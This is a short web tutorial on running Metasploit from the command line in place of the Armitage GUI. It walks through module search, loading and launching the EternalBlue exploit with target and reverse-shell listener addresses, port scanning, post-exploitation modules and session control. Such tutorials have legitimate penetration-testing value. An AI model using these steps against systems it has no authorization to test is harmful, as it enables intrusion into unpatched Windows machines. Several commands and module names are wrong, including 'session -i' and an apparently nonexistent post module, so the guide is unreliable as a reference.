Get a Pentest and security assessment of your IT network.

Cyber Security

Metasploit: Armitage Commands in CLI

TL;DR

Armitage is a GUI for Metasploit. This guide shows you how to replicate common Armitage tasks using the Metasploit command-line interface (CLI). It focuses on finding attack tools and exploiting targets.

Finding Attack Tools (Modules)

  1. Search for Modules: Use the search command. This is how you’d find modules in Armitage.
    • To search for all modules related to a keyword, e.g., ‘smb’:
      msf6 > search smb
    • To search specifically for exploits:
      msf6 > search type:exploit smb
    • To search for auxiliary modules:
      msf6 > search type:auxiliary smb
  2. Module Information: Once you’ve found a module, use info to get details.
    msf6 > info exploit/windows/smb/ms17_010_eternalblue

Exploiting Targets

  1. Use a Module: Use the use command to load an exploit.
    msf6 > use exploit/windows/smb/ms17_010_eternalblue
  2. Set Options: Configure the module with required options using set. Common options include RHOSTS (target IP) and LHOST (your listening IP).
    • To see available options:
      msf6 exploit/windows/smb/ms17_010_eternalblue > show options
    • Set the target address:
      msf6 exploit/windows/smb/ms17_010_eternalblue > set RHOSTS 192.168.1.100
    • Set your listening IP (where the reverse shell will connect):
      msf6 exploit/windows/smb/ms17_010_eternalblue > set LHOST 192.168.1.50
  3. Run the Exploit: Execute the exploit with the run command.
    msf6 exploit/windows/smb/ms17_010_eternalblue > run

Automating Tasks (Scripts)

  1. Auxiliary Modules for Scanning: Use auxiliary modules to scan for vulnerabilities. For example, the ‘scanner/portscan’ module.
    msf6 > use scanner/portscan
    msf6 scanner/portscan > set PORTS 21-23,80,445
    msf6 scanner/portscan > run
  2. Post Modules: Use post modules after gaining access to perform further actions (e.g., privilege escalation).
    msf6 > use post/multi/gather/win_systeminfo

Session Management

  1. List Sessions: View active sessions with sessions.
    msf6 > sessions
  2. Interact with a Session: Use session -i to interact with a specific session.
    msf6 > session -i 1
Related posts
Cyber Security

Zip Codes & PII: Are They Personal Data?

Cyber Security

Zero-Day Vulnerabilities: User Defence Guide

Cyber Security

Zero Knowledge Voting with Trusted Server

Cyber Security

ZeroNet: 51% Attack Risks & Mitigation